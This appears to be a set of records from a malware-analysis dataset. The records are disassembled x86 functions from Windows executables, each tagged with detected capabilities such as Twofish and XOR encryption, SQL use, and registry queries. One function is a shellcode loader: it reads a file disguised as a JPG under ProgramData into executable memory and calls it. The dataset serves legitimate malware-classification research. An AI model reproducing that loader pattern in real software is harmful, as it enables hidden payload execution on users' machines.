joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41dd4b0
Capabilities:
Encode data using xor
Encrypt data using twofish

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x10]
mov edx, 0x41f80a4
lea eax, [ebp - 0x100]
call fcn.041dd334
mov eax, dword [ebp + 8]
xor edx, edx
mov dl, byte [eax - 0x18]
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cl, byte [eax - 0x14]
xor eax, eax
lea ebx, [ebp - 0x100]
movzx esi, byte [ebx]
movzx esi, byte [esi + 0x41f7fa4]
xor esi, ecx
movzx esi, byte [esi + 0x41f7fa4]
xor esi, edx
mov esi, dword [esi*4 + 0x41f81a4]
mov edi, dword [ebp + 8]
mov edi, dword [edi - 0x20]
mov dword [edi + eax*4], esi
inc eax
inc ebx
cmp eax, 0x100
jne 0x41dd4ea
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x10]
shr ecx, 8
mov edx, 0x41f80a4
lea eax, [ebp - 0x100]
call fcn.041dd334
mov eax, dword [ebp + 8]
xor edx, edx
mov dl, byte [eax - 0x17]
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cl, byte [eax - 0x13]
xor eax, eax
lea ebx, [ebp - 0x100]
movzx esi, byte [ebx]
movzx esi, byte [esi + 0x41f80a4]
xor esi, ecx
movzx esi, byte [esi + 0x41f7fa4]
xor esi, edx
mov esi, dword [esi*4 + 0x41f85a4]
mov edi, dword [ebp + 8]
mov edi, dword [edi - 0x20]
mov dword [edi + eax*4 + 0x400], esi
inc eax
inc ebx
cmp eax, 0x100
jne 0x41dd549
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x10]
shr ecx, 0x10
mov edx, 0x41f7fa4
lea eax, [ebp - 0x100]
call fcn.041dd334
mov eax, dword [ebp + 8]
xor edx, edx
mov dl, byte [eax - 0x16]
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cl, byte [eax - 0x12]
xor eax, eax
lea ebx, [ebp - 0x100]
movzx esi, byte [ebx]
movzx esi, byte [esi + 0x41f7fa4]
xor esi, ecx
movzx esi, byte [esi + 0x41f80a4]
xor esi, edx
mov esi, dword [esi*4 + 0x41f89a4]
mov edi, dword [ebp + 8]
mov edi, dword [edi - 0x20]
mov dword [edi + eax*4 + 0x800], esi
inc eax
inc ebx
cmp eax, 0x100
jne 0x41dd5ac
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x10]
shr ecx, 0x18
mov edx, 0x41f7fa4
lea eax, [ebp - 0x100]
call fcn.041dd334
mov eax, dword [ebp + 8]
xor edx, edx
mov dl, byte [eax - 0x15]
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cl, byte [eax - 0x11]
xor eax, eax
lea ebx, [ebp - 0x100]
movzx esi, byte [ebx]
movzx esi, byte [esi + 0x41f80a4]
xor esi, ecx
movzx esi, byte [esi + 0x41f80a4]
xor esi, edx
mov esi, dword [esi*4 + 0x41f8da4]
mov edi, dword [ebp + 8]
mov edi, dword [edi - 0x20]
mov dword [edi + eax*4 + 0xc00], esi
inc eax
inc ebx
cmp eax, 0x100
jne 0x41dd60f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41dde60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], edx
lea edx, [ebp - 0x16]
lea eax, [ebp - 4]
mov ecx, 4
call sub.rtl60.bpl__System_Move_qqrpxvpvi
lea edx, [ebp - 0x12]
lea eax, [ebp - 8]
mov ecx, 4
call sub.rtl60.bpl__System_Move_qqrpxvpvi
mov ebx, dword [0x4203a3c]
mov ebx, dword [ebx]
lea edx, [ebp - 0x16]
lea eax, [ebp - 0x16]
mov ecx, 2
call ebx
mov byte [ebp - 0xd], 8
mov dword [ebp - 0x24], 0x41f93a4
lea ebx, [ebp - 0x1e]
push ebp
xor edx, edx
mov dl, byte [ebp - 0x16]
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
call fcn.041dde20
pop ecx
mov byte [ebx], al
mov byte [ebp - 0xe], 7
mov eax, dword [ebp - 0x24]
lea esi, [eax + 1]
lea edi, [ebp - 0x15]
push ebp
xor edx, edx
mov dl, byte [edi]
xor eax, eax
mov al, byte [esi]
call fcn.041dde20
pop ecx
xor byte [ebx], al
inc edi
inc esi
dec byte [ebp - 0xe]
jne 0x41dded7
inc ebx
add dword [ebp - 0x24], 8
dec byte [ebp - 0xd]
jne 0x41ddeb6
xor eax, eax
mov al, byte [ebp - 0x1e]
mov edx, dword [ebp - 0xc]
mov dword [edx], eax
mov eax, dword [ebp - 0xc]
xor edx, edx
mov dword [eax + 4], edx
mov byte [ebp - 0xd], 7
lea eax, [ebp - 0x1d]
mov edx, dword [ebp - 0xc]
mov edx, dword [edx + 4]
shl edx, 8
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx]
shr ecx, 0x18
or edx, ecx
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 4], edx
mov edx, dword [ebp - 0xc]
mov edx, dword [edx]
shl edx, 8
xor ecx, ecx
mov cl, byte [eax]
xor edx, ecx
mov ecx, dword [ebp - 0xc]
mov dword [ecx], edx
inc eax
dec byte [ebp - 0xd]
jne 0x41ddf12
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41ddf4c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], ecx
mov eax, 0x41f93e4
lea ecx, [ebp - 8]
mov dword [ebp - 0x10], 5
mov ebx, dword [edx]
xor dword [ecx], ebx
mov ebx, dword [edx + 4]
xor dword [ecx + 4], ebx
add edx, 8
mov esi, dword [ecx + 4]
shr esi, 0x17
and esi, 0x1fe
mov esi, dword [eax + esi*4]
mov edi, dword [ecx + 4]
shr edi, 0xf
and edi, 0x1fe
xor esi, dword [eax + edi*4 + 0x800]
mov edi, dword [ecx + 4]
shr edi, 7
and edi, 0x1fe
xor esi, dword [eax + edi*4 + 0x1000]
mov edi, dword [ecx + 4]
add edi, edi
and edi, 0x1fe
xor esi, dword [eax + edi*4 + 0x1800]
mov ebx, dword [ecx]
mov edi, ebx
shr edi, 0x17
and edi, 0x1fe
xor esi, dword [eax + edi*4 + 0x2000]
mov edi, ebx
shr edi, 0xf
and edi, 0x1fe
xor esi, dword [eax + edi*4 + 0x2800]
mov edi, ebx
shr edi, 7
and edi, 0x1fe
xor esi, dword [eax + edi*4 + 0x3000]
mov edi, ebx
add edi, edi
and edi, 0x1fe
xor esi, dword [eax + edi*4 + 0x3800]
mov dword [ebp - 0x14], esi
mov esi, dword [ecx + 4]
shr esi, 0x17
and esi, 0x1fe
or esi, 1
mov esi, dword [eax + esi*4]
mov edi, dword [ecx + 4]
shr edi, 0xf
and edi, 0x1fe
or edi, 1
xor esi, dword [eax + edi*4 + 0x800]
mov edi, dword [ecx + 4]
shr edi, 7
and edi, 0x1fe
or edi, 1
xor esi, dword [eax + edi*4 + 0x1000]
mov edi, dword [ecx + 4]
add edi, edi
and edi, 0x1fe
or edi, 1
xor esi, dword [eax + edi*4 + 0x1800]
mov edi, dword [ecx]
shr edi, 0x17
and edi, 0x1fe
or edi, 1
xor esi, dword [eax + edi*4 + 0x2000]
mov edi, dword [ecx]
shr edi, 0xf
and edi, 0x1fe
or edi, 1
xor esi, dword [eax + edi*4 + 0x2800]
mov edi, ebx
shr edi, 7
and edi, 0x1fe
or edi, 1
xor esi, dword [eax + edi*4 + 0x3000]
add ebx, ebx
and ebx, 0x1fe
or ebx, 1
xor esi, dword [eax + ebx*4 + 0x3800]
mov dword [ecx + 4], esi
mov ebx, dword [ebp - 0x14]
mov dword [ecx], ebx
dec dword [ebp - 0x10]
jne 0x41ddf6e
mov eax, dword [edx]
xor dword [ecx], eax
mov eax, dword [edx + 4]
xor dword [ecx + 4], eax
add edx, 8
mov eax, dword [ecx]
mov ebx, eax
shr ebx, 0x18
and ebx, 0xff
movzx ebx, byte [ebx + 0x41f91a4]
shl ebx, 0x18
mov esi, eax
shr esi, 0x10
and esi, 0xff
movzx esi, byte [esi + 0x41f91a4]
shl esi, 0x10
xor ebx, esi
mov esi, eax
shr esi, 8
and esi, 0xff
movzx esi, byte [esi + 0x41f91a4]
shl esi, 8
xor ebx, esi
and eax, 0xff
movzx eax, byte [eax + 0x41f91a4]
xor ebx, eax
mov dword [ecx], ebx
mov eax, dword [ecx + 4]
mov ebx, eax
shr ebx, 0x18
and ebx, 0xff
movzx ebx, byte [ebx + 0x41f91a4]
shl ebx, 0x18
mov esi, eax
shr esi, 0x10
and esi, 0xff
movzx esi, byte [esi + 0x41f91a4]
shl esi, 0x10
xor ebx, esi
mov esi, eax
shr esi, 8
and esi, 0xff
movzx esi, byte [esi + 0x41f91a4]
shl esi, 8
xor ebx, esi
and eax, 0xff
movzx eax, byte [eax + 0x41f91a4]
xor ebx, eax
mov dword [ecx + 4], ebx
mov eax, dword [edx]
xor eax, dword [ecx]
mov ebx, dword [ebp - 0xc]
mov dword [ebx], eax
mov eax, dword [edx + 4]
xor eax, dword [ecx + 4]
mov edx, dword [ebp - 0xc]
mov dword [edx + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41debcc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov ebx, ecx
mov dword [ebp - 4], eax
jmp 0x41debde
add dword [ebp - 4], 4
mov eax, dword [ebp - 4]
cmp edx, dword [eax]
jne 0x41debda
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x41dec35
xor eax, eax
push ebp
push 0x41dec2e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov dword [eax], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41dec35
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 8]
push eax
push 4
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualProtect
ret
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x41e4720
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x41e4728
push ecx
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call sub.rtl60.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x41e47dc
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x20]
push eax
or ecx, 0xffffffff
mov dl, 0x27
mov eax, dword [ebp - 4]
call sub.vegalib60.bpl__Strtools_QS_qqr17System_AnsiStringci
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0xb
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [0x4203a7c]
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [0x4203a8c]
mov ecx, dword [ecx]
mov edx, 0x41e47f4
mov eax, dword [0x419a734]
call fcn.0419b668
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebx + 0x50c]
mov eax, dword [0x419a734]
call fcn.0419afa0
lea eax, [ebp - 0x14]
call sub.rtl60.bpl__System__VarToInt_qqrrx14System_Variant
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e47e3
lea eax, [ebp - 0x24]
mov edx, 2
call sub.rtl60.bpl__System__LStrArrayClr_qqrpvi
lea eax, [ebp - 0x14]
call sub.rtl60.bpl__System__VarClr_qqrr14System_Variant
lea eax, [ebp - 4]
call sub.rtl60.bpl__System__LStrClr_qqrpv
ret
Function at 0x41e4c18
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x41e4dd0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call sub.vcl60.bpl__Controls_TWinControl_GetHandle_qqrv
push eax
call sub.user32.dll_LockWindowUpdate
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x368]
call sub.vcl60.bpl__Forms_TScrollingWinControl_DisableAutoRange_qqrv
xor eax, eax
push ebp
push 0x41e4da6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.041e2b60
lea edx, [ebp - 0xc]
call fcn.0419fe28
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x41e4de4
call sub.rtl60.bpl__System__LStrCat3_qqrv
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
add eax, 0x324
call fcn.0419f9b8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x324]
mov edx, dword [eax]
call dword [edx + 0x14c]
test eax, eax
jne 0x41e4cb0
call sub.rtl60.bpl__System__TryFinallyExit_qqrv
jmp 0x41e4dad
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x324]
mov edx, dword [eax]
call dword [edx + 0x14c]
push eax
mov eax, dword [ebp - 4]
add eax, 0x508
mov ecx, 1
mov edx, dword [0x41dffc0]
call sub.rtl60.bpl__System__DynArraySetLength_qqrv
add esp, 4
xor ebx, ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x324]
call sub.dbrtl60.bpl__Db_TDataSet_First_qqrv
jmp 0x41e4d6d
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x419fec8]
call fcn.041a04b0
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x508]
mov dword [edx + ebx*4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x324]
mov edx, 0x41e4e7c
call sub.dbrtl60.bpl__Db_TDataSet_FieldByName_qqrx17System_AnsiString
lea edx, [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x60]
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x324]
mov edx, 0x41e4e90
call sub.dbrtl60.bpl__Db_TDataSet_GetFieldValue_qqrx17System_AnsiString
lea eax, [ebp - 0x20]
call sub.rtl60.bpl__System__VarToInt_qqrrx14System_Variant
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x508]
lea edx, [eax + ebx*4]
mov ecx, ebx
mov eax, dword [ebp - 4]
call fcn.041e149c
inc ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x324]
call sub.dbrtl60.bpl__Db_TDataSet_Next_qqrv
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x324]
cmp byte [eax + 0xa1], 0
je 0x41e4cef
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e4dad
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x368]
call sub.vcl60.bpl__Forms_TScrollingWinControl_EnableAutoRange_qqrv
push 0
call sub.user32.dll_LockWindowUpdate
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e4dd7
lea eax, [ebp - 0x20]
call sub.rtl60.bpl__System__VarClr_qqrr14System_Variant
lea eax, [ebp - 0x10]
mov edx, 3
call sub.rtl60.bpl__System__LStrArrayClr_qqrpvi
ret
Function at 0x41e5894
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, edx
mov ebx, eax
mov ecx, dword [sym.imp.vcl60.bpl__Forms_Application]
mov ecx, dword [ecx]
mov dl, 1
mov eax, dword [0x41a17f8]
call sub.vcl60.bpl__Forms_TCustomForm__bctr_qqrp18Classes_TComponent
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x41e59f6
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebx + 0x50c]
mov eax, dword [ebp - 4]
call fcn.041a1c30
cmp esi, 1
jne 0x41e58f1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
mov eax, dword [eax + 0x2b4]
mov edx, 0x41e5a0c
mov ecx, dword [eax]
call dword [ecx + 0x2c]
jmp 0x41e5936
test esi, esi
jne 0x41e5910
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
mov eax, dword [eax + 0x2b4]
mov edx, 0x41e5a64
mov ecx, dword [eax]
call dword [ecx + 0x2c]
jmp 0x41e5936
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
mov eax, dword [eax + 0x2b4]
mov edx, 0x41e5aa0
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov edx, 0x41e5adc
mov eax, dword [ebp - 4]
call sub.vcl60.bpl__Controls_TControl_SetText_qqrx17System_AnsiString
push 0
push 0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
xor ecx, ecx
mov dl, 1
call sub.VEDatasets.bpl__Vedataset_TVEDataset_ParseSqlString_qqroiii
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
mov edx, dword [eax]
call dword [edx + 0x14c]
test eax, eax
jne 0x41e5998
cmp esi, 1
jne 0x41e597a
mov ecx, 0x40
mov edx, 0x41e5af4
mov eax, 0x41e5b18
call sub.vegalib60.bpl__Strtools_Mess_qqr17System_AnsiStringt1i
cmp esi, 2
jne 0x41e5993
mov ecx, 0x40
mov edx, 0x41e5b28
mov eax, 0x41e5b18
call sub.vegalib60.bpl__Strtools_Mess_qqr17System_AnsiStringt1i
call sub.rtl60.bpl__Sysutils_Abort_qqrv
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
mov edx, dword [eax]
call dword [edx + 0x14c]
dec eax
jne 0x41e59c5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
mov edx, dword [eax]
call dword [edx + 0x58]
mov edx, eax
mov eax, ebx
call fcn.041e5004
jmp 0x41e59e0
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0xe8]
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x31c]
mov eax, ebx
call fcn.041e5004
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e59fd
mov eax, dword [ebp - 4]
call sub.rtl60.bpl__System_TObject_Free_qqrv
ret
Function at 0x41e610c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call sub.rtl60.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x41e620d
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, dword [sym.imp.vcl60.bpl__Forms_Application]
mov ecx, dword [ecx]
mov dl, 1
mov eax, dword [0x41a1e38]
call sub.vcl60.bpl__Forms_TCustomForm__bctr_qqrp18Classes_TComponent
mov ebx, eax
mov edx, dword [esi + 0x50c]
mov eax, ebx
call fcn.041a258c
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.041a2574
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0xe8]
mov eax, dword [ebp - 4]
mov edx, 0x41e6224
call sub.rtl60.bpl__System__LStrCmp_qqrv
jne 0x41e61ae
fld qword [ebx + 0x3b0]
add esp, 0xfffffff4
fstp xword [esp]
wait
mov eax, dword [esi + 0x4b8]
call sub.RxCtl6.bpl__Curredit_TCustomNumEdit_SetValue_qqrg
push 1
push 0xd
push pe_nt_image_headers32
mov eax, dword [esi + 0x4b8]
call sub.vcl60.bpl__Controls_TWinControl_GetHandle_qqrv
push eax
call sub.user32.dll_SendMessageA
jmp 0x41e61eb
fld qword [ebx + 0x3b0]
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 8]
call sub.rtl60.bpl__Sysutils_FloatToStr_qqrg
mov edx, dword [ebp - 8]
mov eax, dword [esi + 0x4b0]
call sub.vcl60.bpl__Controls_TControl_SetText_qqrx17System_AnsiString
push 1
push 0xd
push pe_nt_image_headers32
mov eax, dword [esi + 0x4b0]
call sub.vcl60.bpl__Controls_TWinControl_GetHandle_qqrv
push eax
call sub.user32.dll_SendMessageA
mov eax, ebx
call sub.rtl60.bpl__System_TObject_Free_qqrv
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e6214
lea eax, [ebp - 8]
mov edx, 2
call sub.rtl60.bpl__System__LStrArrayClr_qqrpvi
ret
Function at 0x41e88ac
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xa
push 0
push 0
dec ecx
jne 0x41e88b4
push ecx
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x41e8a56
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x344]
call sub.dbrtl60.bpl__Db_TDataSet_GetActive_qqrv
test al, al
jne 0x41e88e7
mov eax, dword [ebx + 0x344]
call sub.dbrtl60.bpl__Db_TDataSet_Open_qqrv
lea edx, [ebp - 8]
mov eax, dword [ebx + 0x3a8]
call sub.vcl60.bpl__Controls_TControl_GetText_qqrv
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call sub.rtl60.bpl__Sysutils_Trim_qqrx17System_AnsiString
cmp dword [ebp - 4], 0
jne 0x41e8923
mov eax, ebx
call fcn.041e98b0
lea edx, [ebp - 0xc]
call fcn.0419fba0
mov edx, dword [ebp - 0xc]
mov eax, dword [ebx + 0x3a8]
call sub.vcl60.bpl__Controls_TControl_SetText_qqrx17System_AnsiString
mov eax, ebx
call fcn.041e98b0
call fcn.0419fb58
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x28]
push eax
push 0
lea eax, [ebp - 0x20]
push eax
mov ecx, 0x41e8a6c
mov edx, dword [ebx + 0x3c0]
mov eax, dword [0x419a734]
call fcn.0419afa0
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x10]
call sub.rtl60.bpl__System__VarToLStr_qqrr17System_AnsiStringrx14System_Variant
mov edx, dword [ebp - 0x10]
mov eax, dword [ebx + 0x3b0]
call sub.vcl60.bpl__Controls_TControl_SetText_qqrx17System_AnsiString
mov eax, ebx
call fcn.041e98b0
call fcn.0419fb58
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x48], 0
mov eax, ebx
call fcn.041e98b0
call fcn.0419fb38
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x40], 0
lea eax, [ebp - 0x4c]
push eax
push 1
lea eax, [ebp - 0x3c]
push eax
mov ecx, 0x41e8a9c
mov edx, dword [ebx + 0x3c0]
mov eax, dword [0x419a734]
call fcn.0419afa0
lea edx, [ebp - 0x3c]
lea eax, [ebp - 0x2c]
call sub.rtl60.bpl__System__VarToLStr_qqrr17System_AnsiStringrx14System_Variant
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebx + 0x3b4]
call sub.vcl60.bpl__Controls_TControl_SetText_qqrx17System_AnsiString
mov eax, ebx
call fcn.041e98b0
lea edx, [ebp - 0x50]
call fcn.0419fbcc
mov edx, dword [ebp - 0x50]
mov eax, dword [ebx + 0x3b8]
call sub.vcl60.bpl__Controls_TControl_SetText_qqrx17System_AnsiString
mov eax, ebx
call fcn.041e98b0
lea edx, [ebp - 0x54]
call fcn.0419fb78
mov edx, dword [ebp - 0x54]
mov eax, dword [ebx + 0x3bc]
call sub.vcl60.bpl__Controls_TControl_SetText_qqrx17System_AnsiString
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e8a5d
lea eax, [ebp - 0x54]
mov edx, 2
call sub.rtl60.bpl__System__LStrArrayClr_qqrpvi
lea eax, [ebp - 0x3c]
call sub.rtl60.bpl__System__VarClr_qqrr14System_Variant
lea eax, [ebp - 0x2c]
call sub.rtl60.bpl__System__LStrClr_qqrpv
lea eax, [ebp - 0x20]
call sub.rtl60.bpl__System__VarClr_qqrr14System_Variant
lea eax, [ebp - 0x10]
mov edx, 2
call sub.rtl60.bpl__System__LStrArrayClr_qqrpvi
lea eax, [ebp - 8]
call sub.rtl60.bpl__System__LStrClr_qqrpv
lea eax, [ebp - 4]
call sub.rtl60.bpl__System__LStrClr_qqrpv
ret
Function at 0x401080
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.C:ProgramDataMicrosoftProgramziliao.jpg
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call fcn.004014fe
mov ecx, ebx
mov esi, eax
mov edx, ecx
xor eax, eax
mov edi, esi
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
push ebx
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x40111b
mov ecx, ebx
mov edi, eax
mov edx, ecx
mov ebx, edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
test ebx, ebx
rep movsb byte es:[edi], byte [esi]
je 0x40111b
call eax
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret

Function at 0x401150
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
push ebx
push eax
push 0x20019
push 0
push ecx
push edx
xor bl, bl
mov dword [esp + 0x18], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401181
xor al, al
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push esi
push 0
lea eax, [esp + 0xc]
push 0
push eax
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x4011b6
cmp esi, 0xea
jne 0x4011b8
mov bl, 1
mov al, bl
pop esi
pop ebx
pop ecx
ret

Function at 0x4011c0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x4011e6
xor al, al
add esp, 0x9c
ret
cmp dword [esp + 4], 5
seta al
add esp, 0x9c
ret